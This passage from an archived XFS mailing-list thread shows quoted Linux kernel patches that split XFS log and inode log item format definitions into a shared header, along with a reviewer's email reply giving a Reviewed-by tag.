__KERNEL__ */ > - > - > -/* Log Clients */ > -#define XFS_TRANSACTION 0x69 > -#define XFS_VOLUME 0x2 > -#define XFS_LOG 0xaa > - > - > -/* Region types for iovec's i_type */ > -#define XLOG_REG_TYPE_BFORMAT 1 > -#define XLOG_REG_TYPE_BCHUNK 2 > -#define XLOG_REG_TYPE_EFI_FORMAT 3 > -#define XLOG_REG_TYPE_EFD_FORMAT 4 > -#define XLOG_REG_TYPE_IFORMAT 5 > -#define XLOG_REG_TYPE_ICORE 6 > -#define XLOG_REG_TYPE_IEXT 7 > -#define XLOG_REG_TYPE_IBROOT 8 > -#define XLOG_REG_TYPE_ILOCAL 9 > -#define XLOG_REG_TYPE_IATTR_EXT 10 > -#define XLOG_REG_TYPE_IATTR_BROOT 11 > -#define XLOG_REG_TYPE_IATTR_LOCAL 12 > -#define XLOG_REG_TYPE_QFORMAT 13 > -#define XLOG_REG_TYPE_DQUOT 14 > -#define XLOG_REG_TYPE_QUOTAOFF 15 > -#define XLOG_REG_TYPE_LRHEADER 16 > -#define XLOG_REG_TYPE_UNMOUNT 17 > -#define XLOG_REG_TYPE_COMMIT 18 > -#define XLOG_REG_TYPE_TRANSHDR 19 > -#define XLOG_REG_TYPE_ICREATE 20 > -#define XLOG_REG_TYPE_MAX 20 > - > -typedef struct xfs_log_iovec { > - void *i_addr; /* beginning address of region */ > - int i_len; /* length in bytes of region */ > - uint i_type; /* type of region */ > -} xfs_log_iovec_t; > - > -struct xfs_log_vec { > - struct xfs_log_vec *lv_next; /* next lv in build list */ > - int lv_niovecs; /* number of iovecs in lv */ > - struct xfs_log_iovec *lv_iovecp; /* iovec array */ > - struct xfs_log_item *lv_item; /* owner */ > - char *lv_buf; /* formatted buffer */ > - int lv_buf_len; /* size of formatted buffer */ > -}; > - > -#define XFS_LOG_VEC_ORDERED (-1) > - > -/* > - * Structure used to pass callback function and the function's argument > - * to the log manager. > - */ > -typedef struct xfs_log_callback { > - struct xfs_log_callback *cb_next; > - void (*cb_func)(void *, int); > - void *cb_arg; > -} xfs_log_callback_t; > - > - > -#ifdef __KERNEL__ > /* Log manager interfaces */ > struct xfs_mount; > struct xlog_in_core; > @@ -188,5 +142,4 @@ void xfs_log_work_queue(struct xfs_mount *mp); > void xfs_log_worker(struct work_struct *work); > void xfs_log_quiesce(struct xfs_mount *mp); > > -#endif > #endif /* __XFS_LOG_H__ */ > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > new file mode 100644 > index 0000000..9f9aeb6 > --- /dev/null > +++ b/fs/xfs/xfs_log_format.h > @@ -0,0 +1,178 @@ > +/* > + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#ifndef __XFS_LOG_FORMAT_H__ > +#define __XFS_LOG_FORMAT_H__ > + > +typedef __uint32_t xlog_tid_t; > + > +#define XLOG_MIN_ICLOGS 2 > +#define XLOG_MAX_ICLOGS 8 > +#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ > +#define XLOG_VERSION_1 1 > +#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ > +#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) > +#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ > +#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ > +#define XLOG_MAX_RECORD_BSIZE (256*1024) > +#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ > +#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ > +#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ > +#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ > +#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ > + (log)->l_mp->m_sb.sb_logsunit) > +#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) > + > +#define XLOG_HEADER_SIZE 512 > + > +#define XLOG_REC_SHIFT(log) \ > + BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ > + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) > +#define XLOG_TOTAL_REC_SHIFT(log) \ > + BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ > + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) > + > +/* get lsn fields */ > +#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) > +#define BLOCK_LSN(lsn) ((uint)(lsn)) > + > +/* this is used in a spot where we might otherwise double-endian-flip */ > +#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) > + > +static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) > +{ > + return ((xfs_lsn_t)cycle << 32) | block; > +} > + > +static inline uint xlog_get_cycle(char *ptr) > +{ > + if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) > + return be32_to_cpu(*((__be32 *)ptr + 1)); > + else > + return be32_to_cpu(*(__be32 *)ptr); > +} > + > +/* Log Clients */ > +#define XFS_TRANSACTION 0x69 > +#define XFS_VOLUME 0x2 > +#define XFS_LOG 0xaa > + > +#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ > + > +/* Region types for iovec's i_type */ > +#define XLOG_REG_TYPE_BFORMAT 1 > +#define XLOG_REG_TYPE_BCHUNK 2 > +#define XLOG_REG_TYPE_EFI_FORMAT 3 > +#define XLOG_REG_TYPE_EFD_FORMAT 4 > +#define XLOG_REG_TYPE_IFORMAT 5 > +#define XLOG_REG_TYPE_ICORE 6 > +#define XLOG_REG_TYPE_IEXT 7 > +#define XLOG_REG_TYPE_IBROOT 8 > +#define XLOG_REG_TYPE_ILOCAL 9 > +#define XLOG_REG_TYPE_IATTR_EXT 10 > +#define XLOG_REG_TYPE_IATTR_BROOT 11 > +#define XLOG_REG_TYPE_IATTR_LOCAL 12 > +#define XLOG_REG_TYPE_QFORMAT 13 > +#define XLOG_REG_TYPE_DQUOT 14 > +#define XLOG_REG_TYPE_QUOTAOFF 15 > +#define XLOG_REG_TYPE_LRHEADER 16 > +#define XLOG_REG_TYPE_UNMOUNT 17 > +#define XLOG_REG_TYPE_COMMIT 18 > +#define XLOG_REG_TYPE_TRANSHDR 19 > +#define XLOG_REG_TYPE_ICREATE 20 > +#define XLOG_REG_TYPE_MAX 20 > + > +/* > + * Flags to log operation header > + * > + * The first write of a new transaction will be preceded with a start > + * record, XLOG_START_TRANS. Once a transaction is committed, a commit > + * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into > + * the remainder of the current active in-core log, it is split up into > + * multiple regions. Each partial region will be marked with a > + * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. > + * > + */ > +#define XLOG_START_TRANS 0x01 /* Start a new transaction */ > +#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ > +#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ > +#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ > +#define XLOG_END_TRANS 0x10 /* End a continued transaction */ > +#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ > + > + > +typedef struct xlog_op_header { > + __be32 oh_tid; /* transaction id of operation : 4 b */ > + __be32 oh_len; /* bytes in data region : 4 b */ > + __u8 oh_clientid; /* who sent me this : 1 b */ > + __u8 oh_flags; /* : 1 b */ > + __u16 oh_res2; /* 32 bit align : 2 b */ > +} xlog_op_header_t; > + > + > +/* valid values for h_fmt */ > +#define XLOG_FMT_UNKNOWN 0 > +#define XLOG_FMT_LINUX_LE 1 > +#define XLOG_FMT_LINUX_BE 2 > +#define XLOG_FMT_IRIX_BE 3 > + > +/* our fmt */ > +#ifdef XFS_NATIVE_HOST > +#define XLOG_FMT XLOG_FMT_LINUX_BE > +#else > +#define XLOG_FMT XLOG_FMT_LINUX_LE > +#endif > + > +typedef struct xlog_rec_header { > + __be32 h_magicno; /* log record (LR) identifier : 4 */ > + __be32 h_cycle; /* write cycle of log : 4 */ > + __be32 h_version; /* LR version : 4 */ > + __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ > + __be64 h_lsn; /* lsn of this LR : 8 */ > + __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ > + __le32 h_crc; /* crc of log record : 4 */ > + __be32 h_prev_block; /* block number to previous LR : 4 */ > + __be32 h_num_logops; /* number of log operations in this LR : 4 */ > + __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; > + /* new fields */ > + __be32 h_fmt; /* format of log record : 4 */ > + uuid_t h_fs_uuid; /* uuid of FS : 16 */ > + __be32 h_size; /* iclog size : 4 */ > +} xlog_rec_header_t; > + > +typedef struct xlog_rec_ext_header { > + __be32 xh_cycle; /* write cycle of log : 4 */ > + __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ > +} xlog_rec_ext_header_t; > + > +/* > + * Quite misnamed, because this union lays out the actual on-disk log buffer. > + */ > +typedef union xlog_in_core2 { > + xlog_rec_header_t hic_header; > + xlog_rec_ext_header_t hic_xheader; > + char hic_sector[XLOG_HEADER_SIZE]; > +} xlog_in_core_2_t; > + > +/* not an on-disk structure, but needed by log recovery in userspace */ > +typedef struct xfs_log_iovec { > + void *i_addr; /* beginning address of region */ > + int i_len; /* length in bytes of region */ > + uint i_type; /* type of region */ > +} xfs_log_iovec_t; > + > +#endif /* __XFS_LOG_FORMAT_H__ */ > diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h > index b9ea262..edd0964 100644 > --- a/fs/xfs/xfs_log_priv.h > +++ b/fs/xfs/xfs_log_priv.h > @@ -24,51 +24,13 @@ struct xlog_ticket; > struct xfs_mount; > > /* > - * Macros, structures, prototypes for internal log manager use. > + * Flags for log structure > */ > - > -#define XLOG_MIN_ICLOGS 2 > -#define XLOG_MAX_ICLOGS 8 > -#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ > -#define XLOG_VERSION_1 1 > -#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ > -#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) > -#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ > -#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ > -#define XLOG_MAX_RECORD_BSIZE (256*1024) > -#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ > -#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ > -#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ > -#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ > -#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ > - (log)->l_mp->m_sb.sb_logsunit) > -#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) > - > -#define XLOG_HEADER_SIZE 512 > - > -#define XLOG_REC_SHIFT(log) \ > - BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ > - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) > -#define XLOG_TOTAL_REC_SHIFT(log) \ > - BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ > - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) > - > -static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) > -{ > - return ((xfs_lsn_t)cycle << 32) | block; > -} > - > -static inline uint xlog_get_cycle(char *ptr) > -{ > - if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) > - return be32_to_cpu(*((__be32 *)ptr + 1)); > - else > - return be32_to_cpu(*(__be32 *)ptr); > -} > - > -#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) > - > -#ifdef __KERNEL__ > +#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ > +#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ > +#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being > + shutdown */ > +#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ > > /* > * get client id from packed copy. > @@ -101,28 +63,8 @@ static inline uint xlog_get_client_id(__be32 i) > #define XLOG_STATE_IOERROR 0x0080 /* IO error happened in sync'ing log */ > #define XLOG_STATE_ALL 0x7FFF /* All possible valid flags */ > #define XLOG_STATE_NOTUSED 0x8000 /* This IC log not being used */ > -#endif /* __KERNEL__ */ > > /* > - * Flags to log operation header > - * > - * The first write of a new transaction will be preceded with a start > - * record, XLOG_START_TRANS. Once a transaction is committed, a commit > - * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into > - * the remainder of the current active in-core log, it is split up into > - * multiple regions. Each partial region will be marked with a > - * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. > - * > - */ > -#define XLOG_START_TRANS 0x01 /* Start a new transaction */ > -#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ > -#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ > -#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ > -#define XLOG_END_TRANS 0x10 /* End a continued transaction */ > -#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ > - > -#ifdef __KERNEL__ > -/* > * Flags to log ticket > */ > #define XLOG_TIC_INITED 0x1 /* has been initialized */ > @@ -132,22 +74,6 @@ static inline uint xlog_get_client_id(__be32 i) > { XLOG_TIC_INITED, "XLOG_TIC_INITED" }, \ > { XLOG_TIC_PERM_RESERV, "XLOG_TIC_PERM_RESERV" } > > -#endif /* __KERNEL__ */ > - > -#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ > - > -/* > - * Flags for log structure > - */ > -#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ > -#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ > -#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being > - shutdown */ > -#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ > - > -typedef __uint32_t xlog_tid_t; > - > -#ifdef __KERNEL__ > /* > * Below are states for covering allocation transactions. > * By covering, we mean changing the h_tail_lsn in the last on-disk > @@ -223,7 +149,6 @@ typedef __uint32_t xlog_tid_t; > > #define XLOG_COVER_OPS 5 > > - > /* Ticket reservation region accounting */ > #define XLOG_TIC_LEN_MAX 15 > > @@ -258,64 +183,6 @@ typedef struct xlog_ticket { > xlog_res_t t_res_arr[XLOG_TIC_LEN_MAX]; /* array of res : 8 * 15 */ > } xlog_ticket_t; > > -#endif > - > - > -typedef struct xlog_op_header { > - __be32 oh_tid; /* transaction id of operation : 4 b */ > - __be32 oh_len; /* bytes in data region : 4 b */ > - __u8 oh_clientid; /* who sent me this : 1 b */ > - __u8 oh_flags; /* : 1 b */ > - __u16 oh_res2; /* 32 bit align : 2 b */ > -} xlog_op_header_t; > - > - > -/* valid values for h_fmt */ > -#define XLOG_FMT_UNKNOWN 0 > -#define XLOG_FMT_LINUX_LE 1 > -#define XLOG_FMT_LINUX_BE 2 > -#define XLOG_FMT_IRIX_BE 3 > - > -/* our fmt */ > -#ifdef XFS_NATIVE_HOST > -#define XLOG_FMT XLOG_FMT_LINUX_BE > -#else > -#define XLOG_FMT XLOG_FMT_LINUX_LE > -#endif > - > -typedef struct xlog_rec_header { > - __be32 h_magicno; /* log record (LR) identifier : 4 */ > - __be32 h_cycle; /* write cycle of log : 4 */ > - __be32 h_version; /* LR version : 4 */ > - __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ > - __be64 h_lsn; /* lsn of this LR : 8 */ > - __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ > - __le32 h_crc; /* crc of log record : 4 */ > - __be32 h_prev_block; /* block number to previous LR : 4 */ > - __be32 h_num_logops; /* number of log operations in this LR : 4 */ > - __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; > - /* new fields */ > - __be32 h_fmt; /* format of log record : 4 */ > - uuid_t h_fs_uuid; /* uuid of FS : 16 */ > - __be32 h_size; /* iclog size : 4 */ > -} xlog_rec_header_t; > - > -typedef struct xlog_rec_ext_header { > - __be32 xh_cycle; /* write cycle of log : 4 */ > - __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ > -} xlog_rec_ext_header_t; > - > -#ifdef __KERNEL__ > - > -/* > - * Quite misnamed, because this union lays out the actual on-disk log buffer. > - */ > -typedef union xlog_in_core2 { > - xlog_rec_header_t hic_header; > - xlog_rec_ext_header_t hic_xheader; > - char hic_sector[XLOG_HEADER_SIZE]; > -} xlog_in_core_2_t; > - > /* > * - A log record header is 512 bytes. There is plenty of room to grow the > * xlog_rec_header_t into the reserved space. > @@ -686,6 +553,5 @@ static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) > schedule(); > remove_wait_queue(wq, &wait); > } > -#endif /* __KERNEL__ */ > > #endif /* __XFS_LOG_PRIV_H__ */ > diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > index 6fcc910a..27f2572 100644 > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -55,6 +55,8 @@ > #include "xfs_attr_leaf.h" > #include "xfs_attr_remote.h" > > +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) > + > STATIC int > xlog_find_zeroed( > struct xlog *, > From bfoster@redhat.com Tue Jul 23 09:04:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBC687F53 for ; Tue, 23 Jul 2013 09:04:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB3298F804B for ; Tue, 23 Jul 2013 07:04:12 -0700 (PDT) X-ASG-Debug-ID: 1374588251-04cb6c2a471054890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LghRTI97ylbcFHTL for ; Tue, 23 Jul 2013 07:04:11 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NE4BYo017639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 10:04:11 -0400 Received: from laptop.bfoster (vpn-63-213.rdu2.redhat.com [10.10.63.213]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6NE496f007971 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 10:04:10 -0400 Message-ID: <51EE8C99.6010303@redhat.com> Date: Tue, 23 Jul 2013 10:00:57 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 02/49] xfs: split out inode log item format definition References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 02/49] xfs: split out inode log item format definition In-Reply-To: <1374215120-7271-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374588251 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > Th elog item format definitions are shared with userspace. split the > out of header files that contain kernel only defintions to make it > simple to shared them. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_acl.c | 1 + > fs/xfs/xfs_filestream.c | 2 +- > fs/xfs/xfs_inode.h | 69 ------------------ > fs/xfs/xfs_inode_item.h | 115 +---------------------------- > fs/xfs/xfs_log_format.h | 189 ++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_types.h | 6 ++ > fs/xfs/xfs_xattr.c | 1 + > 7 files changed, 200 insertions(+), 183 deletions(-) > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 306d883..695606a 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -16,6 +16,7 @@ > * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > */ > #include "xfs.h" > +#include "xfs_log_format.h" > #include "xfs_acl.h" > #include "xfs_attr.h" > #include "xfs_bmap_btree.h" > diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c > index 5170306..9eae097 100644 > --- a/fs/xfs/xfs_filestream.c > +++ b/fs/xfs/xfs_filestream.c > @@ -16,12 +16,12 @@ > * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > */ > #include "xfs.h" > +#include "xfs_log.h" > #include "xfs_bmap_btree.h" > #include "xfs_inum.h" > #include "xfs_dinode.h" > #include "xfs_inode.h" > #include "xfs_ag.h" > -#include "xfs_log.h" > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_mount.h" > diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h > index b55fd34..de4f963 100644 > --- a/fs/xfs/xfs_inode.h > +++ b/fs/xfs/xfs_inode.h > @@ -23,12 +23,6 @@ struct xfs_dinode; > struct xfs_inode; > > /* > - * Fork identifiers. > - */ > -#define XFS_DATA_FORK 0 > -#define XFS_ATTR_FORK 1 > - > -/* > * The following xfs_ext_irec_t struct introduces a second (top) level > * to the in-core extent allocation scheme. These structs are allocated > * in a contiguous block, creating an indirection array where each entry > @@ -114,68 +108,6 @@ struct xfs_imap { > * chain off the mount structure by xfs_sync calls. > */ > > -typedef struct xfs_ictimestamp { > - __int32_t t_sec; /* timestamp seconds */ > - __int32_t t_nsec; /* timestamp nanoseconds */ > -} xfs_ictimestamp_t; > - > -/* > - * NOTE: This structure must be kept identical to struct xfs_dinode > - * in xfs_dinode.h except for the endianness annotations. > - */ > -typedef struct xfs_icdinode { > - __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ > - __uint16_t di_mode; /* mode and type of file */ > - __int8_t di_version; /* inode version */ > - __int8_t di_format; /* format of di_c data */ > - __uint16_t di_onlink; /* old number of links to file */ > - __uint32_t di_uid; /* owner's user id */ > - __uint32_t di_gid; /* owner's group id */ > - __uint32_t di_nlink; /* number of links to file */ > - __uint16_t di_projid_lo; /* lower part of owner's project id */ > - __uint16_t di_projid_hi; /* higher part of owner's project id */ > - __uint8_t di_pad[6]; /* unused, zeroed space */ > - __uint16_t di_flushiter; /* incremented on flush */ > - xfs_ictimestamp_t di_atime; /* time last accessed */ > - xfs_ictimestamp_t di_mtime; /* time last modified */ > - xfs_ictimestamp_t di_ctime; /* time created/inode modified */ > - xfs_fsize_t di_size; /* number of bytes in file */ > - xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ > - xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ > - xfs_extnum_t di_nextents; /* number of extents in data fork */ > - xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ > - __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ > - __int8_t di_aformat; /* format of attr fork's data */ > - __uint32_t di_dmevmask; /* DMIG event mask */ > - __uint16_t di_dmstate; /* DMIG state info */ > - __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ > - __uint32_t di_gen; /* generation number */ > - > - /* di_next_unlinked is the only non-core field in the old dinode */ > - xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ > - > - /* start of the extended dinode, writable fields */ > - __uint32_t di_crc; /* CRC of the inode */ > - __uint64_t di_changecount; /* number of attribute changes */ > - xfs_lsn_t di_lsn; /* flush sequence */ > - __uint64_t di_flags2; /* more random flags */ > - __uint8_t di_pad2[16]; /* more padding for future expansion */ > - > - /* fields only written to during inode creation */ > - xfs_ictimestamp_t di_crtime; /* time created */ > - xfs_ino_t di_ino; /* inode number */ > - uuid_t di_uuid; /* UUID of the filesystem */ > - > - /* structure must be padded to 64 bit alignment */ > -} xfs_icdinode_t; > - > -static inline uint xfs_icdinode_size(int version) > -{ > - if (version == 3) > - return sizeof(struct xfs_icdinode); > - return offsetof(struct xfs_icdinode, di_next_unlinked); > -} > - > /* > * Flags for xfs_ichgtime(). > */ > @@ -626,7 +558,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); > > extern struct kmem_zone *xfs_ifork_zone; > extern struct kmem_zone *xfs_inode_zone; > -extern struct kmem_zone *xfs_ili_zone; > extern const struct xfs_buf_ops xfs_inode_buf_ops; > > #endif /* __XFS_INODE_H__ */ > diff --git a/fs/xfs/xfs_inode_item.h b/fs/xfs/xfs_inode_item.h > index 779812f..dce4d65 100644 > --- a/fs/xfs/xfs_inode_item.h > +++ b/fs/xfs/xfs_inode_item.h > @@ -18,123 +18,13 @@ > #ifndef __XFS_INODE_ITEM_H__ > #define __XFS_INODE_ITEM_H__ > > -/* > - * This is the structure used to lay out an inode log item in the > - * log. The size of the inline data/extents/b-tree root to be logged > - * (if any) is indicated in the ilf_dsize field. Changes to this structure > - * must be added on to the end. > - */ > -typedef struct xfs_inode_log_format { > - __uint16_t ilf_type; /* inode log item type */ > - __uint16_t ilf_size; /* size of this item */ > - __uint32_t ilf_fields; /* flags for fields logged */ > - __uint16_t ilf_asize; /* size of attr d/ext/root */ > - __uint16_t ilf_dsize; /* size of data/ext/root */ > - __uint64_t ilf_ino; /* inode number */ > - union { > - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > - uuid_t ilfu_uuid; /* mount point value */ > - } ilf_u; > - __int64_t ilf_blkno; /* blkno of inode buffer */ > - __int32_t ilf_len; /* len of inode buffer */ > - __int32_t ilf_boffset; /* off of inode in buffer */ > -} xfs_inode_log_format_t; > - > -typedef struct xfs_inode_log_format_32 { > - __uint16_t ilf_type; /* inode log item type */ > - __uint16_t ilf_size; /* size of this item */ > - __uint32_t ilf_fields; /* flags for fields logged */ > - __uint16_t ilf_asize; /* size of attr d/ext/root */ > - __uint16_t ilf_dsize; /* size of data/ext/root */ > - __uint64_t ilf_ino; /* inode number */ > - union { > - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > - uuid_t ilfu_uuid; /* mount point value */ > - } ilf_u; > - __int64_t ilf_blkno; /* blkno of inode buffer */ > - __int32_t ilf_len; /* len of inode buffer */ > - __int32_t ilf_boffset; /* off of inode in buffer */ > -} __attribute__((packed)) xfs_inode_log_format_32_t; > - > -typedef struct xfs_inode_log_format_64 { > - __uint16_t ilf_type; /* inode log item type */ > - __uint16_t ilf_size; /* size of this item */ > - __uint32_t ilf_fields; /* flags for fields logged */ > - __uint16_t ilf_asize; /* size of attr d/ext/root */ > - __uint16_t ilf_dsize; /* size of data/ext/root */ > - __uint32_t ilf_pad; /* pad for 64 bit boundary */ > - __uint64_t ilf_ino; /* inode number */ > - union { > - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > - uuid_t ilfu_uuid; /* mount point value */ > - } ilf_u; > - __int64_t ilf_blkno; /* blkno of inode buffer */ > - __int32_t ilf_len; /* len of inode buffer */ > - __int32_t ilf_boffset; /* off of inode in buffer */ > -} xfs_inode_log_format_64_t; > - > -/* > - * Flags for xfs_trans_log_inode flags field. > - */ > -#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ > -#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ > -#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ > -#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ > -#define XFS_ILOG_DEV 0x010 /* log the dev field */ > -#define XFS_ILOG_UUID 0x020 /* log the uuid field */ > -#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ > -#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ > -#define XFS_ILOG_ABROOT 